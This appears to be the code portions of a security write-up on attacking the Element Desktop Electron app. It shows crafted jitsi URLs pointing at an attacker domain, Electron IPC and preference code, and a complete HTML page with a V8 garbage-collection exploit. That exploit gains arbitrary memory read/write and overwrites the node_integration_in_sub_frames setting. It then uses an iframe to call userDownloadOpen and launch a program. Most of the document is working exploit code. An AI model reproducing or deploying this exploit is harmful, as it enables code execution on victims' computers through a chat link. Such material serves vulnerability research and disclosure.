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https://app.element.io/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew

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element://vector/webapp/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew

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    app.enableSandbox();
    global.mainWindow = new BrowserWindow({
      [...]
        webPreferences: {
            preload: preloadScript,
            nodeIntegration: false,
            //sandbox: true, // We enable sandboxing from app.enableSandbox() above
            contextIsolation: true,
            webgl: true,
        },

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//https://github.com/vector-im/element-desktop/blob/53e7100033a9c9283f79bb3a4c5070a461709631/src/webcontents-handler.ts#L248
ipcMain.on('userDownloadOpen', function(ev: IpcMainEvent, { path }) {
    shell.openPath(path);
});

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contextBridge.exposeInMainWorld(
    "electron",
    {
        on(channel: string, listener: (event: IpcRendererEvent, ...args: any[]) => void): void {
            if (!CHANNELS.includes(channel)) {
                console.error(`Unknown IPC channel ${channel} ignored`);
                return;
            }
            ipcRenderer.on(channel, listener);
        },
        send(channel: string, ...args: any[]): void {
            if (!CHANNELS.includes(channel)) {
                console.error(`Unknown IPC channel ${channel} ignored`);
                return;
            }
            ipcRenderer.send(channel, ...args);
        },
    },
);

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electron.send('userDownloadOpen',{path:'C:\\Windows\\System32\\calc.exe'})

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Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Element/1.9.5 Chrome/91.0.4472.164 Electron/13.5.1 Safari/537.36

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--- a/third_party/blink/common/web_preferences/web_preferences.cc
+++ b/third_party/blink/common/web_preferences/web_preferences.cc
@@ -142,6 +142,19 @@ WebPreferences::WebPreferences()
       fake_no_alloc_direct_call_for_testing_enabled(false),
       v8_cache_options(blink::mojom::V8CacheOptions::kDefault),
       record_whole_document(false),
+      // Begin Electron-specific WebPreferences.
+      context_isolation(false),
+      is_webview(false),
+      hidden_page(false),
+      offscreen(false),
+      node_integration(false),
+      node_integration_in_worker(false),
+      node_integration_in_sub_frames(false),
+      enable_spellcheck(false),
+      enable_plugins(false),
+      enable_websql(false),
+      webview_tag(false),
+      // End Electron-specific WebPreferences.
       cookie_enabled(true),
       accelerated_video_decode_enabled(false),
       animation_policy(

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void ElectronSandboxedRendererClient::DidCreateScriptContext(
    v8::Handle<v8::Context> context,
    content::RenderFrame* render_frame) {
  RendererClientBase::DidCreateScriptContext(context, render_frame);

  // Only allow preload for the main frame or
  // For devtools we still want to run the preload_bundle script
  // Or when nodeSupport is explicitly enabled in sub frames
  bool is_main_frame = render_frame->IsMainFrame();
  bool is_devtools =
      IsDevTools(render_frame) || IsDevToolsExtension(render_frame);
  bool allow_node_in_sub_frames =
      render_frame->GetBlinkPreferences().node_integration_in_sub_frames;
  bool should_load_preload =
      (is_main_frame || is_devtools || allow_node_in_sub_frames) &&
      !IsWebViewFrame(context, render_frame);
  if (!should_load_preload)
    return;

  injected_frames_.insert(render_frame);
[...]
}

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    var win = addrof(window);
    console.log("[+] win address : " + win.hex());

    var addr1 = half_read(win + 0x18n);
    console.log("[+] win + 0x18 : " + addr1.hex());

    var addr2 = full_read(addr1 + 0xf8n);
    console.log("[+] add2: " + addr2.hex());

    var web_pref = addr2 + 0x50008n;
    var preload = full_read(web_pref + 0x1a0n);
    console.log("[+] web_pref addr: " + web_pref.hex());


    var nisf = web_pref  + 0x1acn;
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val = "+ nisf_val.hex());
    var overwrite = nisf_val | 0x0000000000000001n //overwrite
    full_write(nisf, overwrite);
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val overwritten = "+ nisf_val.hex());

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    frame = document.createElement("iframe")
    frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
    document.body.appendChild(frame)

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<html>
<head></head>
<b>pwn</b>
<button onclick=pwn() >click me to pwn </button>
<script>
    function sleep(miliseconds) {
   var currentTime = new Date().getTime();
   while (currentTime + miliseconds >= new Date().getTime()) {
   }
}

var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 100;

var dbl = [1.1,1.1,1.1,1.1];
// %DebugPrint(dbl);

//Get mapAddr using DebugPrint for double array (the compressed address of the map)
// var mapAddr = 0x824a8e1;
// var mapAddr = 0x82830e1
var mapAddr = 0x83430e1

var rwxOffset = 0x60;

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
// %DebugPrint(instance);
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = new WeakMap();
    prevMap.set(prevKey, thisMap);
    let thisKey = {'h' : i};
    //make thisKey reachable via prevKey
    thisMap.set(prevKey, thisKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      let retMap = new WeakMap();
      map.set(thisKey, retMap);
      return thisKey;
    }
  }
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = prevMap.get(prevKey);
    let thisKey = thisMap.get(prevKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      return thisKey;
    }
  }
}

function setUpWeakMap(map) {
//  for (let i = 0; i < 1000; i++) new Array(300);
  //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
  let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
  let hiddenMap = map.get(hk);
  let map7 = new WeakMap();
  let map8 = new WeakMap();

//hk->k5, k5: discover->wl
  let k5 = {k5 : 1};
  let map5 = new WeakMap();
  let k7 = {k7 : 1};
  let k9 = {k9 : 1};
  let k8 = {k8 : 1};
  let ta = new Uint8Array(1024);
  ta.fill(0xfe);
  let larr = new Array(1 << 15);
  larr.fill(1.1);
  let v9 = {ta : ta, larr : larr};
  map.set(k7, map7);
  map.set(k9, v9);

//map3 : kb|vb: initial discovery ->wl
  hiddenMap.set(k5, map5);
  hiddenMap.set(hk, k5);

//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
  map5.set(hk, k7);
  
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1

//wl discovers map8, and mark k8 black
  map7.set(k8, map8);
  map7.set(k7, k8);

//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
  map8.set(k8,k9);
  
}


var conversion_buffer = new ArrayBuffer(8);
var float_view = new Float64Array(conversion_buffer);
var int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}



var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}

function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}

function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}

BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};

Number.prototype.hex = function() {
  return '0x' + this.toString(16);
};

function gc() {
  //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
  new ArrayBuffer(gcSize);
}


function restart() {
  //Should deopt main if it gets optimized
  global.__proto__ = {};
  gc();
  sleep(2000);
  pwn();
}

function pwn() {
 setUpWeakMap(map1);
 gc();

 let objArr = [];

 for (let i = 0; i < sprayParam; i++) {
   let thisArr = new Array(1 << 15);
   objArr.push(thisArr);
 }
 //These are there to stop main being optimized by JIT
    globalIdx['a' + globalIdx] = 1;
    //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
 for (let i = 0; i < objArr.length; i++) {
   let thisArr = objArr[i];
   thisArr.fill(instance);
 }
    globalIdx['a' + globalIdx + 1000] = 1;
    let result = null;
 try {
      result = fetch();
    } catch (e) {
      console.log("fetch failed");
      restart();
      return;
    }
    if (!result) {
   console.log("fail to find object address.");
      restart();
      return;
    }
    let larr = result.larr;
    let index = result.idx;

    let instanceAddr = ftoi32(larr[index])[0];
    let instanceFloatAddr = larr[index];
    console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
    let x = {};
    for (let i = 0; i < objArr.length; i++) {
      let thisArr = objArr[i];
      thisArr.fill(x);
    }

    globalIdx['a' + globalIdx + 5000] = 1;

    larr[index] = instanceFloatAddr;
    let objArrIdx = -1;
    let thisArrIdx = -1;
    for (let i = 0; i < objArr.length; i++) {
      globalIdx['a' + globalIdx + 3000] = 1;
   global.__proto__ = {};
      let thisArr = objArr[i];
      for (let j = 0; j < thisArr.length; j++) {
        let thisObj = thisArr[j];
        if (thisObj == instance) {
          console.log("found window object at: " + i + " index: " + j);
          objArrIdx = i;
          thisArrIdx = j;
        }
      }
    }
    globalIdx['a' + globalIdx + 4000] = 1;
    if (objArrIdx == -1) {
      console.log("failed getting fake object index.");
      restart();
      return;
    }
    let obj_arr = objArr[objArrIdx];
    let double_arr = larr;

    //%DebugPrint(objArr[objArrIdx][thisArrIdx]);

    function addrof(obj){
      
      obj_arr.fill(obj);  
      return (double_arr[index].f2i() & 0xffffffffn) - 1n;

    }

    function fakeobj(addr){
      globalIdx['a' + globalIdx + 2001] = 1;

      larr[index] =  addr 
      return objArr[objArrIdx][thisArrIdx];

    }

    globalIdx['a' + globalIdx + 2000] = 1;


    // Fake map
    let addr_proto = addrof(Array.prototype);
    console.log("[+] addr_proto = " + addr_proto.hex());
    let fake_map = [
          0x1604040408042119n.i2f(),
          0x0a0004002100043dn.i2f(),
          (addr_proto | 1n).i2f()
    ];

    //%DebugPrint(fake_map);
    let addr_map = addrof(fake_map) + 0x74n;
    if((addr_map%8n)!=0)
      addr_map -= 4n //for some reason it should %8 = 0
    console.log("[+] fake map: " + addr_map.hex());
    
    let obj = [1.1,1.1,1.1];
    //%DebugPrint(obj);

    let addr  = Number(addrof(obj)) | 1 ;

    let objEleAddr = addr + 0x18 + 0x8 ;
    let floatAddr = i32tof(objEleAddr, objEleAddr);
    let floatMapAddr = i32tof(Number(addr_map) | 1, Number(addr_map) | 1);
    //Faking an array at using obj[0] and obj[1]
    obj[0]  = floatMapAddr;
    // let eleLength = i32tof(instanceAddr + rwxOffset, 10);
    //fake object at element of obj
    larr[index] = floatAddr;
    let fakeArray = objArr[objArrIdx][thisArrIdx];

    function half_read(addr){
      // let element = i32tof(addr-8, 10);//-8 exact addr
      let element = (0x888800000001n | (addr-8n)).i2f();
      obj[1] = element;
      return fakeArray[0].f2i();

    }
    function half_write(addr, value){

      // let element  = i32tof(addr-8, 10);
      let element = (0x888800000001n | (addr-8n)).i2f();
      obj[1] = element;
      fakeArray[0] = value.i2f();
    }

    //full read write
    let evil = new Float64Array(0x10);
    let addr_evil = addrof(evil);
    console.log("[+] addr_evil = " + addr_evil.hex());
    let orig_evil = half_read(addr_evil + 0x28n);
    console.log("[+] backing store of typed array: " + orig_evil.hex());
    function full_read(addr) {
        half_write(addr_evil + 0x28n, addr);
        return evil[0].f2i();
    }
    function full_write(addr, value) {
        half_write(addr_evil + 0x28n, addr);
        evil[0] = value.i2f();
    }
    function full_cleanup() {
        half_write(addr_evil + 0x28n, orig_evil);
    }

    var win = addrof(window);
    console.log("[+] win address : " + win.hex());

    var addr1 = half_read(win + 0x18n);
    console.log("[+] win + 0x18 : " + addr1.hex());

    var addr2 = full_read(addr1 + 0xf8n);
    console.log("[+] add2: " + addr2.hex());

    var web_pref = addr2 + 0x50008n;
    var preload = full_read(web_pref + 0x1a0n);
    console.log("[+] web_pref addr: " + web_pref.hex());

    console.log("[+] preload addr: " + preload.hex());

    var ciso = web_pref + 0x184n
    var nisf = web_pref  + 0x1acn;
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val = "+ nisf_val.hex());
    var overwrite = nisf_val | 0x0000000000000001n
    full_write(nisf, overwrite);
    var nisf_val = full_read(nisf);
    console.log("[+] nisf val overwritten = "+ nisf_val.hex());

    // var ciso_val = full_read(ciso);
    // console.log("[+] ciso val = "+ ciso_val.hex());
    // var overwrite = ciso_val  &  (0xffffffffffffff00n);
    // full_write(ciso, overwrite);
    // var nisf_val = full_read(ciso);
    // console.log("[+] ciso val overwritten = "+ ciso_val.hex());




    frame = document.createElement("iframe")
    frame.srcdoc="<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>";
    document.body.appendChild(frame)

}

function findTA(ta) {
    let found = false;
    for (let i = 0; i < 16; i++) {
      if (ta[i] != 0xfe) {
          console.log(ta[i]);
          return true;
      }
    }
    console.log(ta[0]);
    return found;
}

function findLArr(larr) {
    for (let i = 0; i < (1 << 15); i++) {
        if (larr[i] != 1.1) {
          let addr = ftoi32(larr[i]);
          return i;
        }
 }
 return -1;
}

function fetch() {
 let hiddenKey = getHiddenKey(map1, level, initKey);
 let hiddenMap = map1.get(hiddenKey);
 let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
 let k8 = map1.get(k7).get(k7);
 let map8 = map1.get(k7).get(k8);

 let larr = map1.get(map8.get(k8)).larr;
    let index = findLArr(larr);
 if (index == -1) {
   return;
 }
    return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
pwn();
</script>
</html>